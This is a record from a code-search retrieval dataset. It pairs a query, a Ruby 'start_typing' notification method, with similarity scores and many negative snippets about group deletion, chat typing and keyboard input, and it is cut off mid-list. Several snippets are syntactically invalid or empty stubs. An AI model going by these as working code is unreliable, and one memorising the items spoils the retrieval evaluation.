group\n\t\t\t\tend\n\n\t\t\t\t`pw groupdel #{groupname}`\n\t\t\tend", "def destroy\n Group.delete_groups_and_acls([id])\n end", "def remove_member\n Member.find_by(band_id: params[:id], user_id: params[:user_id]).destroy\n\n flash[:success] = \"The user is no longer part of the band!\"\n\n redirect_to band_url(params[:id])\n end", "def destroy\n @group = Group.find(params[:id])\n\n mbs = Membership.where \"group_id = ?\", @group.id\n\n mbs.each do |m|\n m.destroy\n end\n\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end", "def deleteGroup _args\n \"deleteGroup _args;\" \n end", "def refuse_group group\n group_invitations.where(group: group).first.destroy\n end", "def destroy\n @group_member.destroy\n respond_to do |format|\n format.html { redirect_to client_group_members_url, notice: 'Group member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_member(_team, _user)\n # stub\n end", "def destroy\n @member_group.destroy\n respond_to do |format|\n format.html { redirect_to member_groups_url }\n format.json { head :no_content }\n end\n end", "def remove_from_group(group)\n gm = Fl::Framework::Actor::GroupMember.query_for_actor_in_group(self, group).first\n return false if gm.nil?\n\n self.actor_containers.delete(gm)\n true\n end", "def group_delete(attribs, dir_info)\n attribs = group_record_name_alternatives(attribs)\n\n check_critical_attribute( attribs, :record_name )\n\n command = {action: 'delete', scope: 'Groups', attribute: nil, value: nil}\n user_attrs = attribs.merge(command)\n\n dscl( user_attrs, dir_info )\n end", "def delete_group\n @mailing_list_group.destroy if @ok\n render 'update_list'\n end", "def remove_group!( group )\n save if remove_group( group )\n end", "def remove_member(RegisteredUser r)\n r.destroy\n unless members.include? (r)\n return false\n else\n members.delete(r)\n return true\n end\n\n # POST /groups\n # POST /groups.json\n def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end\n\n # PATCH/PUT /groups/1\n # PATCH/PUT /groups/1.json\n def update\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end\n\n # DELETE /groups/1\n # DELETE /groups/1.json\n def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end\n\n # This is a function that allows a group member to create a status in a group\n # Returns nothing\n # Time complexity: O(1)\n # Author: Mohamed Bahgat Elrakaiby\n def create_status(Status status)\n Status.create(group_id: @group_id, status: status)\n end\n\n # This is a function that views members of the group\n # Returns nothing\n # Time Complexity: O(n).\n # Author: Mohamed Bahgat Elrakaiby\n def view_members()\n a = []\n GroupMember.all.each {|r|\n if r.group_id == @group.id\n a.push(r.username)\n end\n }\n puts a\n end\n\n private\n # Use callbacks to share common setup or constraints between actions.\n def set_group\n @group = Group.find(params[:id])\n end\n\n # Never trust parameters from the scary internet, only allow the white list through.\n def group_params\n params[:group]\n end\n\n # End of autogenerated methods\n \n # start of my methods\n # This is a function that adds a member to the group by his name.\n # Time complexity: O(1).\n # Authors: Mohammed T. Nabih.\n def add_member_name(name)\n\n end\n\n # This is a function that adds a member to the group by his email.\n # Doesn't return anything.\n # Time complexity: O(n).\n # Authors: Mohammed T. Nabih.\n def add_member_email(email)\n\n end\n\n # This is a function that adds a member to the group by his phone number.\n # Doesn't return anything.\n # Time complexity: O(n).\n # Authors: Mohammed T. Nabih.\n def add_member_phone(phone)\n\n end\n\n # This is a function that allows members in the group to accept the join requests from other users.\n # Doesn't return anything.\n # Time complexity: O(1).\n # Authors: Mohammed T. Nabih.\n def accept_invitation\n \n end\n \n # This is a function that allows the user to send request to a group.\n # Doesn't return anything.\n # Time complexity: O(1).\n #Authors: Mohammed T. Nabih.\n def join_request\n \n end\n\n # Use callbacks to share common setup or constraints between actions.\n def set_group\n @group = Group.find(params[:id])\n end\n\n # Never trust parameters from the scary internet, only allow the white list through.\n def group_params\n params[:group]\n end\n \nend", "def empty_group\n self.group_memberships.each {|m| m.destroy}\n end", "def destroy\n @personal_group = current_user.personal_groups.find(params[:id])\n @personal_group.destroy\n redirect_to(personal_groups_url)\n end", "def leave(group)\n group_membership_ids.include? group.id\n groups.destroy(group)\n end", "def remove_member(user)\n members.delete user if has_member? user\n end", "def remove_members_from_group(id, params = {})\n put(\"/groups/#{id}/members/remove\", params)\n end", "def remove_user_from_group(user, group)\n\t\t\tend", "def remove_group\n create_group.tap do |r|\n r.action(:remove)\n end\n end", "def destroy\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @group = GROUP.first_or_get(params[:id])\n @group.current_user = current_user\n @group.destroy if @group\n\n respond_to do |format|\n flash[:notice] = 'Group was successfully deleted.'\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @membership = Membership.find(params[:id])\n auth!\n respond_to do |format|\n #throw a negative one at a function expecting a membership level to indicate deletion\n if @membership.can_resign_leadership?(-1)\n process_notification(@membership, {:group_name => @membership.group.name}, :action => 'destroy', :owner => current_user, :recipient => @membership.user)\n if @membership.destroy\n format.html { redirect_to({:controller => :groups, :action => :edit, :id => @group}, :notice => t(:member_removed)) }\n format.xml { head :ok }\n else\n format.html { redirect_to @group, :notice => t(:membership_denied) }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def remove_member(user)\n raise 'cannot remove admin, set a new admin first!' if user == self.admin\n raise \"cannot remove member #{user.name}, he isn't a member!\" unless self.members.include?(user)\n\n members.delete(user)\n end", "def remove_all_members_from_group(id, params = {})\n delete(\"/groups/#{id}/members\", params)\n end", "def del(id, which=:groups)\n resp = self.class.delete(\"/#{which}/#{id}\")\n check_errors resp\n end", "def remove\n @group_user.remove!\n respond_to do |format|\n flash[:notice] = 'Membership was cancelled.'\n format.html { redirect_to @group_user.group }\n format.xml { head :ok }\n end\n end", "def destroy\n @mem_group.destroy\n respond_to do |format|\n format.html { redirect_to admin_mem_groups_url, notice: '会员分组成功删除.' }\n format.json { head :no_content }\n end\n end", "def remove_member\n member_id = params[:format]\n @member = Membership.find(member_id)\n @member.destroy\n flash[:notice] = 'You removed a member of your crew. And so it goes.'\n redirect_to @camp\n end", "def delete_guild_member(data)\n server_id = data['guild_id'].to_i\n server = self.server(server_id)\n\n user_id = data['user']['id'].to_i\n server.delete_member(user_id)\n rescue Discordrb::Errors::NoPermission\n Discordrb::LOGGER.warn(\"delete_guild_member attempted to access a server for which the bot doesn't have permission! Not sure what happened here, ignoring\")\n end", "def destroy\n @member = Member.find_by_url_or_id(params[:id])\n @member.destroy\n\n redirect_to(members_url)\n end", "def delete\n @groups = CwaGroups.new\n\n if params[:user_name]\n if @groups.delete_from_my_group(params[:user_name], params[:group_name])\n CwaMailer.group_remove_member(User.find_by_login(params[:user_name]), params[:group_name]).deliver\n flash[:notice] = \"\\\"#{params[:user_name]}\\\" has been removed from \\\"#{params[:group_name]}\\\"\"\n else\n flash[:error] = \"There was a problem removing \\\"#{params[:user_name]}\\\" from \\\"#{params[:group_name]}\\\"\"\n end\n else\n if @groups.delete_me_from_group params[:group_name]\n flash[:notice] = \"You have been removed from group \\\"#{params[:group_name]}\\\"\"\n else\n flash[:error] = \"There was a problem removing you from group \\\"#{params[:group_name]}\\\"\"\n end\n end\n redirect_to :action => :show, :group_name => params[:group_name]\n end", "def remove_group(name)\n visit 'groups'\n click_link name\n\n page.accept_alert do\n click_button 'group_delete'\n end\n end", "def remove_member(user)\n update_membership(user, false)\n end", "def remove_member(member)\n return unless self.organizations.include?(member)\n\n if member.association_can_delete? then\n member.destroy\n else\n member.associations.delete(self)\n end\n end", "def destroy\n @member = Member.find(params[:id])\n @member.destroy\n logger.info(\"#{Time.now} Se elimina el miembro ##{@member.id}!\")\n respond_to do |format|\n format.html { redirect_to(members_url) }\n format.xml { head :ok }\n end\n end", "def delete_guild_member(data)\n server_id = data['guild_id'].to_i\n server = self.server(server_id)\n return unless server\n\n user_id = data['user']['id'].to_i\n server.delete_member(user_id)\n rescue Discordrb::Errors::NoPermission\n Discordrb::LOGGER.warn(\"delete_guild_member attempted to access a server for which the bot doesn't have permission! Not sure what happened here, ignoring\")\n end", "def delete_group(id)\n delete(\"groups/#{id}\")\n end", "def destroy\n #@member = Member.find(params[:id])\n @member.destroy\n\n redirect_back_or_default(root_path)\n end", "def remove_member_from_list(user, list, member_id)\n delete(\"/#{user}/#{list}/members.json?id=#{member_id}\")\n end", "def remove_member(id, user)\n client.delete(\"#{path}/#{id}/members\", user)\n end", "def delete\n super do\n @members.each do |member|\n Strand.redis.hdel LOOKUP, member.typed_id\n end\n Strand.redis.hdel TOPICS, @id\n end\n end", "def remove_member(opts)\n opts = check_params(opts,[:members])\n super(opts)\n end", "def destroy\n @group = Group.find(params[:id])\n u1 = User.where(:login=>@group.name).select(:id)\n @u2 = User.find(u1)\n @u2.destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end", "def destroy\n if @membership.admin \n @group.destroy\n else\n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n head :no_content\n end", "def destroy\n @member = Member.find(params[:id])\n @member.deleted = true\n @member.save\n\n respond_to do |format|\n format.html { redirect_to members_url }\n format.xml { head :ok }\n end\n end", "def destroy_similar\n group.memberships.where(:user_id => user.id).destroy_all\n end", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def destroy\n @member = PositionMember.find(params[:id])\n @member.destroy\n redirect_to '/board_members_and_positions', notice: \"Virkailija poistettu\"\n end", "def destroy\n return access_denied unless is_admin?(current_user)\n\n @group = Group.find(params[:id])\n @group.destroy\n redirect_to(groups_url)\n end", "def \n \n\n # ADMIN ONLY:\n # Deleting a Member\n # delete /members/:id\n def destroy\n # Maybe this shouldn't be allowed if member has transactions?\n # Since calculations are based on all transactions from the\n # beginning of time, deleting a member's transactions would\n # impact the other members' debts...\n Member.find(params[:id]).destroy\n flash[:success] = \"Deleted\"\n redirect_to members_path\n end", "def delete_group(client, options)\n if options[:directory].nil? or options[:group].nil?\n puts \"Missing arguments\"\n return\n end\n\n groups = client.groups\n group = groups.get options[:group]\n group.delete\n puts \"Group deleted.\"\n return\nend", "def delete(*args)\n arguments(args, required: [:org_name, :user])\n\n delete_request(\"/orgs/#{arguments.org_name}/members/#{arguments.user}\",\n arguments.params)\n end", "def remove_group_member(group_id, user_id)\n delete(\"/v1/groups/#{group_id}/members/#{user_id}\")\n end", "def remove_user(user)\n group_members.find_by(group: self, user: user).destroy\n end", "def destroy\n @susu_membership.destroy\n end", "def call(group_id, user_id)\n client.delete(\"/api/rest/v1/groups/#{group_id}/memberships/#{user_id}.json\")\n true\n end", "def removeTeamMember _obj, _args\n \"_obj removeTeamMember _args;\" \n end", "def delete_related_groups\n \n end", "def delete_user(deluser_id)\n @group_users.delete_if { |item| item.user_id == deluser_id }\n end", "def destroy\n @membership = Membership.find(params[:id])\n auth!\n respond_to do |format|\n process_notification(@membership, {}, process_notification_options({\n params: {\n level: @membership.level_name,\n member_id: @membership.user.id,\n member_name: @membership.user.name,\n group_id: @membership.group.id,\n group_name: @membership.group.name\n },\n recipient: @membership.user}))\n\n if @membership.destroy\n format.html { redirect_to manage_members_group_path(@group), notice: t(:member_removed) }\n format.xml { head :ok }\n else\n format.html { redirect_to manage_members_group_path(@group), notice: t(:membership_denied) }\n format.xml { render xml: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def remove_member(user)\r\n fail \"not enough admins left\" if self.is_last_admin?(user)\r\n\r\n @member_limits.delete(user.email)\r\n self.members.delete(user.email)\r\n self.admins.delete(user.email) if self.is_admin?(user)\r\n end" ]
[ "0.785572", "0.75620145", "0.75526994", "0.7393694", "0.7355496", "0.7355496", "0.73111975", "0.73063576", "0.7269686", "0.7249298", "0.71673745", "0.7129943", "0.70111686", "0.70106167", "0.6993205", "0.69469255", "0.6925154", "0.69133437", "0.6890658", "0.6865842", "0.6850546", "0.6835578", "0.68333477", "0.68109953", "0.67939055", "0.67694795", "0.67641276", "0.6747326", "0.6744797", "0.67364734", "0.6704026", "0.6703201", "0.6696564", "0.6685914", "0.6660876", "0.66471416", "0.6632705", "0.6628537", "0.6617362", "0.660468", "0.6599854", "0.6592365", "0.6579579", "0.6578283", "0.65677035", "0.65667796", "0.65615344", "0.65552855", "0.6550011", "0.65386045", "0.651408", "0.65108025", "0.65054196", "0.6492819", "0.64875764", "0.64873546", "0.6477939", "0.64769316", "0.64722455", "0.6462464", "0.6450158", "0.6447092", "0.64430517", "0.6432735", "0.6425797", "0.64071006", "0.6392547", "0.6390722", "0.63859314", "0.63852495", "0.63844997", "0.6383535", "0.6380043", "0.63762563", "0.63742244", "0.63651496", "0.6362794", "0.63582236", "0.635553", "0.6333407", "0.63327914", "0.6322101", "0.63170075", "0.6314689", "0.6312916", "0.62964165", "0.62798935", "0.6274893", "0.62738025", "0.6272302", "0.62673324", "0.62542945", "0.6252638", "0.62516314", "0.6247384", "0.6244646", "0.6243864", "0.6235652", "0.6230304", "0.6227041" ]
0.72280467
10
send instant notifications for start typing
def start_typing(_user) PubSub::Publisher.new.publish_for(user_participants.online.where.not(id: _user.id), 'start_typing', {source: {id: id}, user: _user.as_basic_json(:now)}, {foreground: true}) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_typing(data); end", "def start_typing(data); end", "def start_typing\n API::Channel.start_typing(@bot.token, @id)\n end", "def start_typing(token, channel_id)\n request(\n __method__,\n :post,\n \"#{api_base}/channels/#{channel_id}/typing\",\n nil,\n Authorization: token\n )\n end", "def typing(recipient:)\n\t\t# TODO Fill the method TelegramAdapter#Typing\n\t\t# Bot.deliver(recipient: recipient, sender_action:'TYPING_ON')\n\t\tchat_id = recipient['id']\n\t\t@bot.sendChatAction(chat_id: chat_id, action: 'typing')\t\n\tend", "def begin_typing(&block)\n with_keyboard_focus do\n application.keyboard.when_element(:visible?) do\n yield application.keyboard if block_given?\n end\n end\n end", "def typing(options={})\n last_received_channel = @last_received_user_message ? @last_received_user_message.channel : nil\n default_options = {channel: last_received_channel}\n client.typing(default_options.merge(options))\n end", "def set_typing\n @typing = Typing.find(params[:id])\n end", "def type(text, into:)\n node = find(into)\n\n node.click\n sleep 0.1 # wait 100 milliseconds\n node.send_keys(text)\n end", "def listen\n @logger.debug(\"Waiting for play/start message from sequencer..\")\n message_1 = @translator.translate(@input.gets)\n while message_1 != \"play\"\n message_1 = @translator.translate(@input.gets)\n end\n @logger.debug(\"Play/start message received from sequencer..\")\n action\n end", "def types(word)\n word.each_char do |char|\n print char\n sleep(0.07)\n end\n end", "def nlu_handle_input\n # Wit processing will take a while, so we want to show activity\n @message.mark_seen\n @message.typing_on\n return if acted_on_non_questions?\n # Non-questions ruled out, we can\n # save a question to correct later, if needed\n @user.session[:needs_correction] = @message.text\n # Act on a type of question\n act_on_question_types\n # We're done replying\n @message.typing_off\n end", "def read_from_console\n puts 'Enter new tweet (not more than 140 signs)'\n @text = STDIN.gets.chomp[0..140]\n puts \"Sending your new tweet: #{@text.encode('UTF-8')}\"\n @@CLIENT.update(@text.encode('UTF-8'))\n puts 'Your tween has been sent'\n end", "def began msg\n end", "def listen_for_input\n @log.info \"start listening\"\n while true\n line = @client.gets.chop\n break if !line\n \n msg = JSON.parse(line, :create_additions => true)\n\n case msg.type.to_sym\n when :update_direction\n @lastInput = msg.msg.to_sym\n end\n end\n end", "def type_search_text(text)\n send_keys SEARCH_BAR, text\n end", "def start_message\n \"Slack Pomodoro Timer started!\" +\n \"\\nStop the timer at any time with CTRL-C\"\n end", "def start_input_thread\n @input_thread ||= Thread.new do\n until @stopped\n char = getch\n @on_key.call(char)\n end\n end\n end", "def send_keys(*args); end", "def message_sent(type, text, to = nil)\n msg = message_db.add(\n type: type,\n to: to,\n from: username,\n text: text,\n time: nil\n )\n signal_change(type, msg)\n end", "def set_text_input(id, text)\n touch(\"ReactEditText tag:'#{id}'\")\n wait_for_keyboard\n enter_text \"* tag:'#{id}'\", text\n hide_soft_keyboard\n sleep(1)\nend", "def send_this_message_to=(name)\n #current_div.text_field(:id=>\"sendmessage_to_autoSuggest\").set name\n #sleep 0.6\n #self.li(:id=>\"as-result-item-0\").click\n name.split(\"\", 4).each do |letter|\n current_div.text_field(:id=>\"sendmessage_to_autoSuggest\", :class=>\"as-input\").focus\n current_div.text_field(:id=>\"sendmessage_to_autoSuggest\", :class=>\"as-input\").send_keys(letter)\n self.wait_until { self.div(:id=>\"as-results-sendmessage_to_autoSuggest\").visible? }\n next if self.li(:id=>\"as-result-item-0\").text==\"No results found\"\n if self.li(:text=>/#{Regexp.escape(name)}/, :id=>/as-result-item-\\d+/).present?\n self.li(:text=>/#{Regexp.escape(name)}/, :id=>/as-result-item-\\d+/).click\n break\n end\n end\n \n end", "def tv_start_scan \n send_cmd(\"tv_start_scan\")\n end", "def send_text(id, text, options={:wait_for_keyboard => true})\n\n\t\tif ENV['PLATFORM'] =='android'\n\t\t\tquery(\"* marked:'#{id}'\", :setText => \"#{text}\")\n\t\telse\n\t\t\tif ENV['PLATFORM'] == 'ios'\n\t\t\t\ttouch(id)\n\t\t\t\twait_for_keyboard unless options[:wait_for_keyboard] == false\n\t\t\t\tkeyboard_enter_text(text)\n\n\t\t\tend\n\n\t\tend\n\tend", "def wait_for_any_input\n Bot.on :message do |message|\n puts \"Received '#{message.inspect}' from #{message.sender}\"\n sender_id = message.sender['id']\n show_humour_replies(sender_id, HUMOUR)\n end\nend", "def campfire_notification( message )\n begin\n unless @room\n @campfire = Tinder::Campfire.new 'hoodiny1', :ssl => true, :token => '3aa7fc18eaa511bfeb21fdae602e3ec175ecab2c'\n @room = @campfire.find_room_by_name 'Team'\n end\n @room.speak message\n rescue => e\n puts \"Error trying to paste to Campfire -> #{e.message} (#{e.class})\"\n end\nend", "def start\r\n @object.send(*@message)\r\n end", "def trigger_on_message(msg); @app.on_message(msg); end", "def enter_text_to_field(text, field)\n puts \"I'm going to touch #{field} label\"\n field.to_s.start_with?(\"UI\") ? touch(\"#{field}\") : touch(\"* marked:'#{field}'\")\n wait_for_keyboard\n keyboard_enter_text text\n end", "def on_start\n end", "def input_model_text(new_text)\n pending(\"proper input text method that triggers all normal events\")\n fail\n end", "def entering text, options = {}\n widget = find_widget options[:into]\n widget.insert_text text, widget.position\n process_events\nend", "def done_typing\n variable_id = text_input_window.variable_id\n $game_variables[variable_id] = text_input_window.text\n text_input_window.close\n end", "def cmd_notify_start\n\t\t\t\tprint_status \"Session activity will be sent to you via Slack Webhooks, channel: #{@channel}\"\n\t\t\t\tif read_settings()\n\t\t\t\t\tself.framework.events.add_session_subscriber(self)\n\t\t\t\t\tprint_good(\"Notify Plugin Started, Monitoring Sessions\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not set Slack Web API settings.\")\n\t\t\t\tend\n\t\t\tend", "def new_bot email, password, room\n counter = Thread.new do\n TT.run do\n client = TT::Client.new(email, password, room: room)\n my_bot = Bot.new(client)\n client.on :user_spoke do |message|\n puts \"**** in :user_spoke message: #{message.content}\"\n my_bot.tell(message.content, message.sender) if message.content.split[0] == client.user.name\n end\n client.on :user_entered do |user|\n my_bot.say_hello user\n end\n client.on :song_started do |song|\n my_bot.bop song\n end\n end\n end\nend", "def notify_on_mention?; true; end", "def fire\n fire_handler :PRESS, ActionEvent.new(self, :PRESS, text)\n end", "def prompt\n\t\tself.obuffer << PROMPT\n\t\tself.server.reactor.enable_events( self.socket, :write ) # FIXME: demeter\n\tend", "def prompt\n\t\t@obuffer << PROMPT\n\t\t@server.reactor.enableEvents( @socket, :write )\n\tend", "def type_in(message)\n\t\tif (message.empty?)\n\t\t\tputs \"Message is empty!\"\n\t\t\treturn\n\t\tend\n\t\t\n\t\t# The m regex option specifies \"multi-line\" mode\n\t\tmessage.scan(/./m) do |char|\n\t\t\tkeystroke(*char.to_keys)\n\t\tend\n\tend", "def begin_mission_text\n typing_tabbed(\"txt/caveats.txt\")\n tab; \"We recommend avoiding the latter\".typing; \"...\".typing(0.75)\n line; line; sleep 2\n\n tab; \"We'll reach the LZ in just a moment\".typing; line\n tab; \"Godspeed, Agent #{codename}. We're counting on you...\".typing; line\n\n press_enter { %Q(Press 'ENTER' to begin your mission and start the timer.) }\n end", "def speak\n super(\"Woof\")\n end", "def send_input! type, detail, time = 0, window = 0, root_x = 0, root_y = 0, device_id = 0\n send_input type, detail, time, window, root_x, root_y, device_id\n end", "def subscribe\n @bot.get_updates(fail_silently: true) do |message|\n parser = InputParser.new(message.text)\n subject = parser.parse_subject\n if subject != nil\n response = \"Hello #{subject}, I'm dad.\"\n message.reply do |reply|\n reply.text = response\n reply.send_with(@bot)\n end\n end\n end\n end", "def controlTextDidChange(notification)\n value = notification.object.stringValue\n\n if value.length == 20\n p \"controlTextDidChange and length is 20: #{value}\"\n self.apiKey = value\n\n NSNotificationCenter.defaultCenter.postNotificationName(\n 'com.cimenu.CIMenu.preferences.token.changed',\n object:nil,\n userInfo:value)\n end\n end", "def ontopic(topic, msg)\n\n typing = false\n \n a = topic.split('/')\n sender = a.pop\n (sender = a.pop; typing = true) if sender == 'typing'\n\n return if sender == @userid\n \n typing ? onincoming(sender, msg, true) : onincoming(sender, msg)\n\n end", "def on_characters(chars)\n end", "def start\n @publisher = Thread.new do\n while true\n puts \"Command? \"; #thread publishing commands\n publish $stdin.gets\n end\n end\n @reader = Thread.new { subscribe &Proc.new { |message| callback message } } #thread waiting for messages\n\n @publisher.join\n end", "def typing_params\n params.require(:typing).permit(:article_type_id, :article_id)\n end", "def on_message_data_start_event(ctx) end", "def start\n\t\tself.sender.start\n\tend", "def start\n send_message('Hello! Welcome to Hedma store🥰')\n send_message('Which item do you want to buy, dear customer?')\n user.set_next_bot_command('pants')\n end", "def viewWillAppear(animated)\n super\n NSNotificationCenter.defaultCenter.addObserver(self, selector:'keyboardWillShow:', name:UIKeyboardWillShowNotification, object:nil)\n NSNotificationCenter.defaultCenter.addObserver(self, selector:'keyboardWillHide:', name:UIKeyboardWillHideNotification, object:nil)\n end", "def start_xmpp_interface\n if @client\n @client.add_message_callback { |message|\n unless message.type == :error\n puts message.from.to_s + \": \\\"\"+message.body.strip+\"\\\"\"\n action = take_cmd(@xmpp_cmds, message.body.strip, message.from)\n output = action.call.to_s\n res = Message.new(message.from, output)\n res.type = message.type\n @client.send(res)\n end\n }\n @client.add_iq_callback(0,'puts') { |iq| iq_dispatch(iq) }\n result = \" > listening for commands from xmpp\"\n else\n result = \" > not yet connected, please connect first\"\n end\n end", "def speak_text(texttospeak)\r\n fixedmessage = texttospeak\r\n fixedmessage = fixedmessage.gsub(\"\\r\", \" \")\r\n fixedmessage = fixedmessage.gsub(\"\\n\", \" \")\r\n fixedmessage = fixedmessage.strip\r\n exec(\"AGI\", \"speak_text.agi|\\\"\" + fixedmessage + \"\\\"\")\r\n\tend", "def wait_for_message\n listen_for_messages\n loop { publish_message(@current_user, gets.strip) }\n end", "def start(name, payload)\n @notifier.start name, @id, payload\n end", "def start(name, payload)\n @notifier.start name, @id, payload\n end", "def speak\n puts \"WOOF WOOF\"\n end", "def start\n prompt = '>'\n print prompt\n input = $stdin.gets.chomp.downcase\n keywords = [\"add\",\"info\",\"help\",\"list\",\"count\",\"play\",\"search\"]\n\n while input != 'exit'\n keyword = input.split[0]\n if keywords.include? keyword\n self.dj_manager.public_send(keyword, input.downcase.split)#Use keywords and public sends to not to use too many if\n #dj_manager.store_back\n else\n puts \"ERROR\"\n end\n print prompt\n input = $stdin.gets.chomp.downcase\n end\n puts \"save state and exit\"\n dj_manager.store_back #When exits, save the state\n end", "def on_tstring_beg(token)\n log \"TSTRING_BEG: '#{token}'\"\n current_line = LexedLine.new(super, lineno)\n tstring_beg_changed\n notify_tstring_beg_observers(current_line, lineno)\n super(token)\n end", "def on_key(ch)\n end", "def set_text_input(input); end", "def speak\r\n puts \"Ho, ho, ho! Haaappy holidays!\"\r\n end", "def stop_typing\n PubSub::Publisher.new.publish_for(conversation.user_participants.online.where.not(id: sender.id), 'stop_typing', {source: {id: conversation_id}, user: {id: sender.id}}, {foreground: true})\n end", "def cmd_notify_start\n\t\t\t\tprint_status \"Session activity will be sent to you via Slack Webhooks\"\n\t\t\t\tif read_settings()\n\t\t\t\t\tself.framework.events.add_session_subscriber(self)\n\t\t\t\t\tnotifier = Slack::Notifier.new @webhook_url, channel: @user_name, username: 'Meterpreter Helper'\n\t\t\t\t\tprint_good(\"Notify Plugin Started, Monitoring Sessions\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not set Slack Web API settings.\")\n\t\t\t\tend\n\n\t\t\tend", "def start_accepting\n super\n\n @characters = 0\n end", "def on_mention(json)\n event = json[:event]\n authed_users = json[:authed_users]\n text = event[:text].strip\n text = text.gsub(Regexp.union(*authed_users.map {|s| \"<@#{ s }>\" }), \"\").strip\n\n json = command(text) do |progress|\n case progress\n when :start\n post(\"reactions.add\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n when :end\n post(\"reactions.remove\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n end\n end\n\n if json\n json[:thread_ts] = event[:thread_ts] || event[:ts] if json[:thread_ts]\n post(\"chat.postMessage\", channel: event[:channel], **json)\n end\n end", "def _stomp_input_text(*args)\n Log.debug(\"[GRIDIUM::Element] Clearing \\\"#{value}\\\" from element: (#{self})\")\n element.clear\n sleep @text_padding_time\n Log.debug(\"[GRIDIUM::Element] Typing: #{args} into element: (#{self}).\")\n element.send_keys(*args)\n sleep @text_padding_time\n end", "def typenew(locator, text)\n wait_for(locator)\n clear(locator)\n find(locator).send_keys(text)\n end", "def ask(text)\n say(text)\n @bot.listen do |message|\n return message.text\n end\n end", "def initialize(search_term, mention)\n @search_term = search_term\n @mention = mention\n send_notifications\n end", "def start()\n \n unread = notifications()['UnreadMessage'].to_i\n\n @thread = Thread.new do\n loop do\n\n unread_messages = notifications()['UnreadMessage'].to_i\n\n if unread_messages > unread then\n\n @callback.call if @callback\n unread = unread_messages\n\n end\n\n sleep 3\n\n end\n end\n\n 'checking for new message every 3 seconds ...'\n\n end", "def notify_start(paths, options)\n message = options[:message] || \"Running: #{paths.join(' ')}\"\n Compat::UI.info(message, :reset => true)\n end", "def ask(str)\n ask_string(str, from: 'local-speech').message\n end", "def onBtSend_chat_tavolo_text(sender, sel, ptr)\n msg = @txtchat_tavolo_line.text\n @banned_words.each do |word|\n msg.gsub!(word, \"****\")\n end\n @net_controller.send_chat_text(msg, :chat_tavolo)\n @txtchat_tavolo_line.text = \"\"\n end", "def conversation_start person\n\t\treturn nil if (person.is_not? :person)\n\t\t@mode = :conversation\n\t\t@talking_to = person\n\t\tGAME.window(:conversation).show\n\t\tGAME.window(:input).prompt = :conversation\n\tend", "def speak\n puts \"I'm a person\"\n end", "def create\n @typing = Typing.new(typing_params)\n\n respond_to do |format|\n if @typing.save\n format.html { redirect_to @typing, notice: 'Typing was successfully created.' }\n format.json { render :show, status: :created, location: @typing }\n else\n format.html { render :new }\n format.json { render json: @typing.errors, status: :unprocessable_entity }\n end\n end\n end", "def speak\n \"#{name} says Assalaam alaykum\"\n end", "def speak\n puts \"ho, ho, ho! happy hollandaise!\"\n end", "def calling_speak\n speak\n end", "def command_start; end", "def command_start; end", "def command_start; end", "def start\n @actions << :start\n end", "def on_keypress &b\n on :keypress, &b\n end", "def input_text(id, chars_max=0, default=nil)\n # check to see if in own window\n if $game_temp.text_input_start == 99\n # only do below if in its own window\n if $game_temp.message_text != nil\n return false\n end\n @message_waiting = true\n $game_temp.message_proc = Proc.new { @message_waiting = false }\n $game_temp.message_text = ''\n $game_temp.text_input_start = 0\n end\n $game_temp.text_input_variable_id = id\n $game_temp.text_input_chars_max = chars_max\n $game_variables[$game_temp.text_input_variable_id] = default\n return true \n end", "def trigger_after_custom_prompt_add\n custom_promptable.fire_after_custom_prompt_added(self) if custom_promptable && custom_promptable.respond_to?(:fire_after_custom_prompt_added)\n end", "def cmd_twitt_start\n\t\t\t\tprint_status \"Starting to monitor sessions to Twitt\"\n\t\t\t\tif read_settings()\n\t\t\t\t\tself.framework.events.add_session_subscriber(self)\n\t\t\t\t\t@twitt_client = Twitter.configure do |config|\n\t\t\t\t\t\tconfig.consumer_key = @consumer_key\n\t\t\t\t\t\tconfig.consumer_secret = @consumer_secret\n\t\t\t\t\t\tconfig.oauth_token = @oauth_token\n\t\t\t\t\t\tconfig.oauth_token_secret = @oauth_token_secret\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"Twitter Plugin Started, Monitoring Sessions\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not set Twitter settings.\")\n\t\t\t\tend\n\t\t\tend", "def speak\n p \"Ho, ho, ho! Haaaappy holidays!\"\n end", "def speak\n \tputs \"Ho, Ho, Ho! Haaaaaappy holidays!\"\n end", "def user_message_begin(msg)\n user_message(msg, 0, \">>>\")\n end", "def start_watching\n @thread = Thread.new{ \n while true\n self.scan_now\n sleep @autoscan_delay\n end\n }\n end", "def set_Notify(value)\n set_input(\"Notify\", value)\n end", "def initialize\n register_script \"Leave messages for inactive users.\"\n\n register_event :PRIVMSG, :on_privmsg\n\n register_command \"tell\", 